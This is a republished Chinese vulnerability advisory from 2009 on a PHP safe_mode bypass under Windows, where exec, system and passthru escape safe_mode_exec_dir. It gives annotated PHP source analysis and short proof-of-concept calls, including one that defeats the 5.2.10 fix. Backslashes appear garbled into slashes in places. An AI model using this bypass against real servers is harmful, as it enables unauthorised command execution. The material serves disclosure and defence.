安全模式下exec等函数安全隐患 's

admin 2017年5月2日12:01:56评论304 views字数 4560阅读15分12秒阅读模式
摘要

当safe_mode=on且safe_mode_exec_dir为空时[默认为空],php在处理这一过程中存在安全隐患,在windows下exec()/system()/passthru()可以通过引入/来执行程序,绕过安全模式

当safe_mode=on且safe_mode_exec_dir为空时[默认为空],php在处理这一过程中存在安全隐患,在windows下exec()/system()/passthru()可以通过引入/来执行程序,绕过安全模式

author: 80vul-B
team:http://www.80vul.com
date:2009-05-27
updata:2009-6-19

—————–updata—————————————
昨天php5.2.10出来了,fix了PCH-006里提到的bug:

Fixed bug #45997 (safe_mode bypass with exec/system/passthru (windows only))

然而遗憾的是还有问题,看看php是咋fix这个的:

...         b = strrchr(cmd, PHP_DIR_SEPARATOR); #ifdef PHP_WIN32         if (b && *b == '//' && b == cmd) { // 注意标红的代码:p             php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid absolute path.");             goto err;         } #endif ...

恩,fix后执行exec(‘/dir’)会报错,但是exec(’80vul/b/dir’)依旧会执行:)

PoC:

<?php //updata:2009-6-19 // safe_mode=On and safe_mode_exec_dir not set in php.ini // test on win32   echo exec('80vul/b/dir'); // system('80vul/b/dir'); // passthru('80vul/b/dir');  ?>

—————————————————————–
一 前言

就在昨天milw0rm上公布了一个非常有意思的漏洞:PHP <= 5.2.9 Local Safemod Bypass Exploit (win32).作者看到公告后,在php源代码基础上分析了下这个问题的根本原因,于是就有本文.

二 描叙

在php手册了有一节:<被安全模式限制或屏蔽的函数> 给出了受安全模式影响的一些函数如:

backtick operator 本函数在安全模式下被禁用。
shell_exec()(在功能上和 backticks 函数相同) 本函数在安全模式下被禁用。
exec() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
system() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
passthru() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
popen() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。

细心的朋友可能发现了在安全模式下,对于exec()/system()/passthru()/popen()这4个函数不是被禁用的,只是需要在safe_mode_exec_dir目录下执行,但当safe_mode=on且safe_mode_exec_dir为空时[默认为空],php在处理这一过程中存在安全隐患,在windows下exec()/system()/passthru()可以通过引入/来执行程序:)
[ps:popen()不存在这个问题,文章后面会给出原因.]

三 代码分析:

以exec()函数为例分析下源码:

// exec.c PHP_FUNCTION(exec) {  php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } // system(),passthru()函数也是调用的php_exec_ex 但popen()不是 ... static void php_exec_ex(INTERNAL_FUNCTION_PARAMETERS, int mode) {  char *cmd;  int cmd_len;  zval *ret_code=NULL, *ret_array=NULL;  int ret; ...   if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z/z/", &cmd, &cmd_len, &ret_array, &ret_code) == FAILURE) {    RETURN_FALSE;   } ...  if (!ret_array) {   ret = php_exec(mode, cmd, NULL, return_value TSRMLS_CC); ... int php_exec(int type, char *cmd, zval *array, zval *return_value TSRMLS_DC) { ...  if (PG(safe_mode)) {   if ((c = strchr(cmd, ' '))) {    *c = '/0';    c++;   } // 取cmd中的参数部分    if (strstr(cmd, "..")) {    php_error_docref(NULL TSRMLS_CC, E_WARNING, "No '..' components allowed in path");    goto err;   } // 不允许使用..来跳转目录 ,这个也是php手册描叙不让..的处理代码    b = strrchr(cmd, PHP_DIR_SEPARATOR); // 在win下PHP_DIR_SEPARATOR为/,*nix下为/,具体定义在main/php.h // 如果cmd是80vul/b/dir,那么这部分取得的值是/dir    spprintf(&d, 0, "%s%s%s%s%s", PG(safe_mode_exec_dir), (b ? "" : "/"), (b ? b : cmd), (c ? " " : ""), (c ? c : "")); // 这句是这个安全隐患的关键处 // 如果php.ini中没有设置safe_mode_exec_dir的话,80vul/dir经过上面的处理为/dir[如果直接提交dir则会被处理为/dir] // 这个也是需要"safe_mode_exec_dir为空时[默认为空]"的原因    if (c) {    *(c - 1) = ' ';   }   cmd_p = php_escape_shell_cmd(d); // 这里调用了php_escape_shell_cmd处理  ... #ifdef PHP_WIN32  fp = VCWD_POPEN(cmd_p, "rb"); #else  fp = VCWD_POPEN(cmd_p, "r"); #endif ... char *php_escape_shell_cmd(char *str) {  register int x, y, l;  char *cmd;  char *p = NULL;   TSRMLS_FETCH();   l = strlen(str);  cmd = safe_emalloc(2, l, 1);   for (x = 0, y = 0; x < l; x++) { // 这里用的strlen,所以这个函数是not safe binary   int mb_len = php_mblen(str + x, (l - x));    /* skip non-valid multibyte characters */   if (mb_len < 0) {    continue;   } else if (mb_len > 1) {    memcpy(cmd + y, str + x, mb_len);    y += mb_len;    x += mb_len - 1;    continue;   } // 这部分代码是为了补se牛提出的那个编码问题:p // http://www.sektioneins.de/advisories/SE-2008-03.txt    switch (str[x]) { ...    case '//': ... #ifdef PHP_WIN32    /* since Windows does not allow us to escape these chars, just remove them */    case '%':     cmd[y++] = ' ';     break; // 如果是win下的话,就把/等特殊字符去掉 // 那么/dir经过此函数处理后就变成dir了:) #endif     cmd[y++] = '//';     /* fall-through */    default:     cmd[y++] = str[x]; ...  // tsrm_win32.c TSRM_API FILE *popen_ex(const char *command, const char *type, const char *cwd, char *env) { ...  cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c "));  sprintf(cmd, "%s /c %s", TWG(comspec), command);  if (!CreateProcess(NULL, cmd, &security, &security, security.bInheritHandle, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, env, cwd, &startup, &process)) { // 调用CreateProcess创建线程,执行命令   return NULL;  }

下面看下popen()的代码:

PHP_FUNCTION(popen) { ....  if (PG(safe_mode)){   b = strchr(Z_STRVAL_PP(arg1), ' ');   if (!b) {    b = strrchr(Z_STRVAL_PP(arg1), '/'); //直接使用的 / ,根本没有考虑windows系统下对/的支持,所以也就不存在上面的问题   } else {    char *c;    c = Z_STRVAL_PP(arg1);    while((*b != '/') && (b != c)) {     b--;    }    if (b == c) {     b = NULL;    }   }    if (b) {    spprintf(&buf, 0, "%s%s", PG(safe_mode_exec_dir), b);   } else {    spprintf(&buf, 0, "%s/%s", PG(safe_mode_exec_dir), Z_STRVAL_PP(arg1));   }    tmp = php_escape_shell_cmd(buf);   fp = VCWD_POPEN(tmp, p); ....

四 测试代码

PoC:

<?php  // safe_mode=On and safe_mode_exec_dir not set in php.ini // test on win32   echo exec('/dir'); // system('/dir'); // passthru('/dir');  ?>

五 实际利用:

PHP <= 5.2.9 SafeMod Bypass Vulnerability [by www.abysssec.com]
http://www.milw0rm.com/exploits/8799

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月2日12:01:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全模式下exec等函数安全隐患 'shttp://cn-sec.com/archives/44760.html

发表评论

匿名网友 填写信息